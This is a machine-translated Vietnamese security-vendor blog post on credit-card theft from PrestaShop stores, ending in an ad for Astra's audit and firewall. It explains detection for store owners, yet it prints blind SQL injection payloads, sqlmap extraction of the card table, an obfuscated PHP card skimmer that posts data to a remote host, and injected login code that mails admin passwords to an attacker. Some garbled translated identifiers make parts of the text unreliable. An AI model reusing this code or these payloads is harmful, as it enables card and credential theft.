Computer >> Máy Tính >  >> Kết nối mạng >> An ninh mạng

Chi tiết thẻ tín dụng bị đánh cắp từ PrestaShop Store. Cách khắc phục Hack phần mềm độc hại thẻ tín dụng trong PrestaShop?

Giao dịch trực tuyến chắc chắn đã làm tăng thêm sự dễ dàng cho việc kinh doanh. Nhưng với sự dễ dàng này đi kèm với trách nhiệm bảo mật. Các cửa hàng thương mại điện tử chạy với Prestashop chứa rất nhiều thông tin nhạy cảm. Điều này bao gồm chi tiết thẻ tín dụng của người dùng. Do đó, dữ liệu này làm cho nó trở thành mục tiêu chín muồi cho những kẻ tấn công. Vụ xâm nhập thẻ tín dụng Prestashop đang nổi lên vì sự phổ biến của giải pháp thương mại điện tử này. Nó có thể được công nhận về tính dễ cài đặt và bảo trì. Theo sách PrestaShop 1.5 Beginner’s Guide ,

Vụ xâm nhập thẻ tín dụng Prestashop:Các triệu chứng

Việc xâm nhập thẻ tín dụng Prestashop có thể được tiến hành theo nhiều cách. Nó có thể là một tập lệnh độc hại trên máy chủ hoặc các dòng Javascript. Thường thì nó có thể là một trang SQL injection hoặc một trang lừa đảo. Vì vậy, khả năng đa dạng này làm cho nó khó phát hiện. Tuy nhiên, một số dấu hiệu có thể cho thấy một cuộc tấn công:

  • Các bảng cơ sở dữ liệu không xác định trước đây như Sqlmap xuất hiện.
  • Các tài khoản quản trị viên không xác định xuất hiện trên trang tổng quan.
  • Thẻ tín dụng của khách hàng bị đánh cắp
  • Đăng nhập vào trang tổng quan từ các IP không xác định.
  • Các trang không xác định mới xuất hiện trên trang web.
  • Trang web chuyển hướng đến các miền không xác định.
  • Phân tích gói Wireshark cho thấy dữ liệu đi ra ngoài các miền đáng tin cậy.
  • Người dùng phàn nàn về các vấn đề liên quan đến thanh toán.
  • Nhật ký máy chủ hiển thị các nỗ lực đưa vào SQL hoặc brute force.
Chi tiết thẻ tín dụng bị đánh cắp từ PrestaShop Store. Cách khắc phục Hack phần mềm độc hại thẻ tín dụng trong PrestaShop?

Chi tiết thẻ tín dụng bị đánh cắp từ cửa hàng Prestashop của bạn ?. Gửi tin nhắn cho chúng tôi trên tiện ích trò chuyện. Chúng tôi rất sẵn lòng trợ giúp bạn. Sửa trang web Prestashop của tôi ngay bây giờ.

Vụ xâm nhập thẻ tín dụng Prestashop:Nguyên nhân

SQL Injection trong Prestashop

Việc chèn SQL có thể xâm phạm cơ sở dữ liệu của cửa hàng Prestashop của bạn. Nguyên nhân chính của SQLi là thiếu tính năng khử trùng đầu vào. Các nhà phát triển thường không triển khai các phương pháp mã hóa an toàn. Do đó, các lỗ hổng như SQLi và XSS xảy ra trong mã. Khai thác SQLi zero-day cho Prestashop đã được xuất bản vào năm 2014. Thành phần dễ bị tấn công là id_manifacturer . URL đầy đủ được cung cấp bên dưới.

https://example.com/ajax/getSimilarManollenurer.php?id_manosystemurer=3[SQL-injection]

Trong URL sau, các câu lệnh có thể được thêm vào sau id_man productionurer. Hơn nữa, đây là một loại SQLi mù. Vì vậy, về cơ bản dữ liệu chỉ có thể được trích xuất ở định dạng boolean. Đôi khi các nhà phát triển ngăn chặn các lỗi nội bộ. Điều này được thực hiện để tránh những kẻ tấn công phát hiện ra các lỗ hổng. Tuy nhiên, nếu máy chủ vẫn đang thực thi các câu lệnh thì dữ liệu có thể được trích xuất ở định dạng boolean. Đây là trường hợp của một SQLi mù. Mặc dù, để đọc nội dung của cơ sở dữ liệu, cần phải thực hiện nhiều yêu cầu. Điều này làm cho việc khai thác thủ công mất nhiều thời gian. Để kiểm tra SQLi mù.

https://example.com/ajax/getSimilarManufacturer.php?id_manufacturer=3 and 1=1

Trước hết hãy xem liệu câu lệnh này có thực thi đúng hay không. Thứ hai, câu lệnh where =3 and 1=2 thực thi thành false. Sau đó, đây chắc chắn là trường hợp của một SQLi mù. Tuy nhiên, đôi khi nó có thể là một SQLi mù thời gian. Trong tình huống đó, máy chủ sẽ đưa ra phản hồi boolean sau một thời gian nhất định. Ví dụ.

https://example.com/ajax/getSimilarManufacturer.php?id_manufacturer=3 and if(1=1, sleep(10), false)

Tại đây, người dùng sẽ phải đợi trong 10 giây . Sau đó, máy chủ sẽ gửi phản hồi đúng hoặc sai dựa trên truy vấn.

Khai thác tự động

Khai thác nó có thể trông là một công việc khó khăn. Nhưng có sẵn các công cụ tự động hóa. Sqlmap có thể khai thác nó cho kẻ tấn công rất dễ dàng. Sau đó, kẻ tấn công có thể đọc bảng ps_payment_cc . Bảng này có các cột id_order_payment,card_number,card_brand,card_expiration . Qua đó đánh cắp thông tin chi tiết thẻ đã lưu hoàn chỉnh. Trong trường hợp bảng lớn, kẻ tấn công có thể tăng tốc độ tấn công bằng cách sử dụng các truy vấn DNS. Vì Sqlmap đi kèm với một tùy chọn --dns-domain= . Do đó, kẻ tấn công có thể lấy dữ liệu ra bằng cách sử dụng các truy vấn DNS thay vì đầu ra chậm theo thời gian. Tuy nhiên, kẻ tấn công phải kiểm soát máy được đăng ký làm máy chủ DNS. Do đó, điều quan trọng là phải giữ một tab trên các truy vấn DNS ra khỏi máy chủ của bạn. Tuy nhiên, không nên lưu trữ thông tin thẻ tín dụng của người dùng trên máy chủ. Trừ khi quản trị viên tiến hành kiểm tra bảo mật Prestashop thường xuyên và dồn nén. Mặc dù vậy, tất cả những điều này có thể tránh được nếu các nhà phát triển sử dụng các câu lệnh đã chuẩn bị sẵn!

Phần mềm độc hại thẻ tín dụng Prestashop

Đôi khi việc hack thẻ tín dụng ở Prestashop có thể do một đoạn mã độc hại trên trang web của bạn. Những kẻ tấn công đầu tiên khai thác trang web bằng cách sử dụng các kỹ thuật đã biết. Phần lớn thời gian, nó là một trong những phần mềm hàng đầu của OWASP. Sau đó, phần mềm độc hại được cài đặt. Phần mềm độc hại này lần đầu tiên kết nối với cơ sở dữ liệu. Từ cơ sở dữ liệu, nó sẽ đánh cắp thông tin thẻ tín dụng. Thường có trong ps_payment_cc bảng.

Chi tiết thẻ tín dụng bị đánh cắp từ PrestaShop Store. Cách khắc phục Hack phần mềm độc hại thẻ tín dụng trong PrestaShop?

Ở trên là đoạn mã của một kịch bản chiếm đoạt thẻ tín dụng PrestaShop. Ở đây, tập lệnh sẽ kết nối với cơ sở dữ liệu trước. Sau đó, nó đánh cắp thông tin thẻ tín dụng từ cơ sở dữ liệu.

Hãy xem một phần mềm độc hại khác trên thẻ tín dụng lây nhiễm /vendor/composer/autoload_real.php tệp

class SiF
{
function __construct($conf)
{
$this->encrypt = FALSE;
$this->in = $_POST;
$this->test = isset($this->in['siftest']);
$conf = explode('SiF', str_rot13($conf));
if(count($conf)!=2)return;
$this->key = $conf[0];
$conf = explode('|', base64_decode($conf[1]));
$s = array_shift($conf);
$s = explode(';;', $s);
$this->conf = array();
foreach($s AS $d)
{
$d = explode('::', $d);
if(count($d)==2) $this->conf[trim($d[0])] = trim($d[1]);
}
array_shift($conf);
$this->data = $conf;
$this->get();
if($this->test) $this->out('[sifok]');
} function get() { if($this->search($this->data[0])===FALSE) return; foreach($this->data AS $i => $v) { $v = $this->search($v); $this->data[$i] = $v===FALSE ? '' : $this->crypt($v); } $this->set(); } function set() { $data = implode('|', $this->data); $data = $this->crypt('SiF').'|'.$data; if(!$this->encrypt) $data = base64_encode($data); $data = $this->post_fgc($data); if($this->test) $this->out($data); } function get_fgc($data) { $url = $this->conf['url'].'?'.$this->conf['param'].'='.urlencode($data); if($this->test) $url .= '&test'; return file_get_contents($url); } function post_fgc($data) { $data = array($this->conf['param'] => $data); $options = array( 'http' => array( 'header' => "Content-type: application/x-www-form-urlencoded\r\n", 'method' => 'POST', 'content' => http_build_query($data) ) ); $context = stream_context_create($options); return file_get_contents($this->conf['url'], false, $context); } function search($key) { $f = $this->in; if(preg_match_all('/(?:^|\[)([^\[\]]+)/s', trim($key), $a)) { foreach($a[1] AS $v) { if(is_array($f) && isset($f[$v])) $f = $f[$v]; else return FALSE; } return $f; } return FALSE; } function crypt($s) { if(function_exists('openssl_public_encrypt')) { $key = "-----BEGIN PUBLIC KEY-----\n".$this->key."\n-----END PUBLIC KEY-----"; if(@openssl_public_encrypt($s, $code, $key)) { $this->encrypt = TRUE; return base64_encode($code); } } return $s; } function out($s) { echo $s; exit; } } new SiF('ZVTsZN0TPFdTFVo3QDRONDHNN4TANQPOvDXOtDQG7ZWRtSDNht63nRT/RT2LPUJFPT1Eg4snl3Dvg0BDTc7SS0o//K7XbiRS3fZ+SCHEL+UP7dtvdinygJCfNRxDPgghOSrx2xH2p9A/pqf0zLW5Q4GZPVeoGZFtQesyvSRGDwlFT5Zf4ScH9A40ahDkBRZol/0lbDp8zAou8Njv1DVQNDNOFvSqKWfBwcbqUEjpmbiY2ygM3A0LKDho3WaY3ZiZGR7B3OupzSgBwcxsTMipz18MTIfnKMypaysoaIgsTEyoTy2MKW5K2I4pS9go250nUkxMJkcqzIlrI9yrUOsrJIupakxMJkcqzIlrI9wqaM8MTIfnKMypayspT9mqTAiMTI8MTIfnKMypaysMzylp3EhLJ1ysTEyoTy2MKW5K2kup3EhLJ1ysTEyoTy2MKW5K2yxK2AiqJ50pay8MTIfnKMypaysL2y0rKkxMJkcqzIlrI9cMS9mqTS0MKkxMJkcqzIlrI9jnT9hMKkxMJkcqzIlrI9uMTElMKAmZKk8MJ1unJksL29hMzyloJS0nJ9h'

Một kịch bản độc hại là giai đoạn thứ hai của cuộc tấn công. Như, trong giai đoạn đầu, một số lỗ hổng đã biết được khai thác. Sau đó, tập lệnh của trình đánh cắp thông tin xác thực được tải lên. Do đó, người ta khuyên không nên lưu trữ dữ liệu trong cơ sở dữ liệu. Đối với cửa hàng Thương mại điện tử, bạn nên tiến hành kiểm tra bảo mật và dồn nén để tìm kiếm tất cả các cách có thể để phần mềm độc hại có thể được đưa vào trang web của bạn.

Chi tiết thẻ tín dụng bị đánh cắp từ PrestaShop Store. Cách khắc phục Hack phần mềm độc hại thẻ tín dụng trong PrestaShop?

Lừa đảo

Lừa đảo có thể được sử dụng để tiến hành chiếm đoạt thẻ tín dụng Prestashop quy mô lớn. Về cơ bản, kẻ tấn công tạo ra các trang đăng nhập giả mạo. Người dùng có thể không phân biệt được. Do đó, họ có thể tiết lộ thông tin nhạy cảm dẫn đến việc hack thẻ Tín dụng trong Prestashop. Có nhiều cách để tạo ra những trang này. Một số trong số đó là:

  • XSS :Kẻ tấn công đã sử dụng XSS để tải một tập lệnh độc hại từ một miền độc hại. Tập lệnh này ghi đè nội dung của trang gốc. Trang này đã được thay thế bằng một trang đăng nhập lừa đảo. Sau đó, người dùng đã gửi thông tin của họ trong các trang đó. Trang lừa đảo đã chuyển thông tin này đến miền do kẻ tấn công kiểm soát.
  • SQLi :Kẻ tấn công có thể đã lấy được một trình bao đảo ngược bằng cách sử dụng SQL injection. Khi sử dụng trình bao ngược này, kẻ tấn công có thể đã thay thế các trang thanh toán ban đầu bằng các trang lừa đảo.
  • FTP :Cổng FTP đã được mở vào Internet. Sau đó, kẻ tấn công có thể đã lấy được thông tin đăng nhập. Sau đó, các trang lừa đảo đã được tạo ra.
  • Ngày 0 :Kẻ tấn công có thể đã lấy được trình bao đảo ngược do lỗ hổng zero-day. Vì cài đặt đã lỗi thời. Từ đó tạo ra các trang thanh toán giả mạo. Do đó, dẫn đến việc xâm nhập thẻ tín dụng Prestashop!

Thông tin đăng nhập yếu

Thông tin đăng nhập yếu là một lý do chính đằng sau vụ xâm nhập thẻ tín dụng của Prestashop. Một mật khẩu yếu có thể bị phá vỡ bằng các cuộc tấn công vũ phu. Sau khi kẻ tấn công lấy được mật khẩu, trang tổng quan sẽ mở. Từ đây, một số kẻ tấn công áp dụng một cách tiếp cận khác. Thay vì chờ đợi và thu thập thông tin đăng ký từ cơ sở dữ liệu một cách thụ động. Kẻ tấn công chèn các trang bằng mã để gửi thông tin đó một cách động. Ví dụ:một loại phần mềm độc hại đưa mã vào tệp /controllers/admin/AdminLoginController.php . Mã độc hại thường trông như thế này.

public function processLogin()
   {
       /* Check fields validity */
       $passwd = trim(Tools::getValue('passwd'));
       $email = trim(Tools::getValue('email'));
$to = "admin@wsxdn.com";
$subject = "panel admin prestashop ". $_SERVER['SERVER_NAME'];
$header = "from: hacked <admin@wsxdn.com>";
$message = "Link : https://" . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'] ."&up=hous \r\n email: $email \r\n pass: $passwd \r\n by bajatax -- sniper :v \r\n";
$message .= "Path : " . __file__;
$sentmail = @mail($to, $subject, $message, $header);
$sentmail1 = @mail($to, $subject, $message, $header);

Đây là đoạn mã trong vài dòng đầu tiên đang thu thập tất cả các biến. Sau đó, hàm PHP sẽ gửi chúng đến tài khoản của kẻ tấn công. Trong trường hợp này, đó là admin@wsxdn.com . Tại đây, các tham số khác nhau được gửi là:

  • Tới: Điều này chứa id email của kẻ tấn công mà dữ liệu sẽ được gửi đến. Trong trường hợp này, nó là admin@wsxdn.com .
  • Chủ đề: Điều này chứa thông báo sau, panel admin prestashop www.infectedDomain.com .
  • Tiêu đề: Phần tiêu đề chứa thông báo, hacked <admin@wsxdn.com> .
  • Thông báo Phần 1 :Tham số này chứa tất cả các thông tin nhạy cảm. Chúng bao gồm miền bị nhiễm. Trong trường hợp này https://www.attackeddomain.com . Sau đó, URI là /admins/ajax-tab.php?rand=1470989908670&up=hous . Theo sau là email admin@wsxdn.comn.com . Và cuối cùng là mật khẩu. Đây có thể là bất kỳ chuỗi ngẫu nhiên nào được nhập bởi người dùng. Cuối cùng, một văn bản ngẫu nhiên là by bajatax — sniper :v .
  • Thông báo Phần 2 :Phần thứ hai của thông báo chứa đường dẫn cục bộ của tệp bị nhiễm. Trong trường hợp này, /usr/home/www.attackeddomain.com/web/controllers/admin/AdminLoginController.php .

Tuy nhiên sau khi phát hiện phần mềm độc hại, Google đã khóa tài khoản Gmail của kẻ tấn công. Sau đó, một biến thể mới của phần mềm độc hại này đã được nhìn thấy. Đầu tiên kiểm tra xem có thể gửi thư cho kẻ tấn công hay không. Trong trường hợp không phải vậy, thì các chi tiết đã được lưu vào một tệp cục bộ có tiêu đề uspas.txt . Trong bước tiếp theo, kẻ tấn công cũng có thể lấy thông tin thẻ tín dụng khi người dùng đăng ký. Điều này dẫn đến một vụ xâm nhập thẻ tín dụng Prestashop!

Tường lửa và Kiểm tra Bảo mật Prestashop

Kiểm tra bảo mật Astra

Để đảm bảo an toàn cho cửa hàng Prestashop của bạn, điều quan trọng là phải tìm ra các sơ hở. Chúng chỉ có thể được tiết lộ bằng cách sử dụng kiểm tra bảo mật hoàn chỉnh. Có nhiều giải pháp có sẵn trên thị trường. Giống như cái mà Astra cung cấp.

Hợp tác với Astra sẽ cung cấp các dịch vụ sau:

  1. Các lỗ hổng phổ biến đã biết như SQLi, XSS, Spam, v.v. và hơn 80 lỗ hổng khác.
  2. Đánh giá lỗ hổng và Kiểm tra thâm nhập (VAPT)
  3. Nó cũng phát hiện các sai sót thao túng giá. Hơn nữa, nó cũng có thể tìm thấy các lỗi logic nghiệp vụ.
  4. Phân tích mã tĩnh &mã động
  5. Hỗ trợ kỹ thuật trong việc vá các lỗ hổng bảo mật được tìm thấy
  6. Trang tổng quan đám mây cộng tác để báo cáo lỗ hổng bảo mật
  7. Quyền truy cập vào các công cụ / API bảo mật của chúng tôi
  8. Tư vấn về các phương pháp hay nhất về bảo mật web
  9. Khám phá các cổng mở trên internet.
  10. Tìm một số cấu hình sai máy chủ đã biết.
  11. Phát hiện xâm nhập.
  12. Xác thực &Ủy quyền bị hỏng.
  13. Định vị lỗi Báo cáo đặc quyền.
  14. Các lỗ hổng trong plugin của bên thứ ba và hơn thế nữa.

Các bài kiểm tra được tùy chỉnh cao và điều chỉnh theo trang web và yêu cầu.

Phạm vi kiểm tra bảo mật điển hình:

  1. Ứng dụng Web của Khách hàng
  2. Tích hợp &Xử lý Thanh toán
  3. Cổng quản trị
  4. API và Dịch vụ Web

Tường lửa Astra

Tường lửa Prestashop đảm bảo chặn mọi truy cập trái phép vào cửa hàng Prestashop của bạn. Tất cả lưu lượng đến đều được quét. Do đó các yêu cầu độc hại bị loại bỏ. Tường lửa Astra quét các phần mềm độc hại tải lên. Mọi nỗ lực tải lên kịch bản xâm nhập thẻ tín dụng Prestashop đều bị chặn. Astra cũng theo dõi hoạt động đăng nhập. Vì vậy, nếu trang tổng quan bị xâm phạm, người dùng sẽ được thông báo. Ngoài ra, Astra đảm bảo rằng cài đặt được cập nhật. Do đó, nó giúp bảo vệ toàn diện đồng hồ cho cửa hàng của bạn!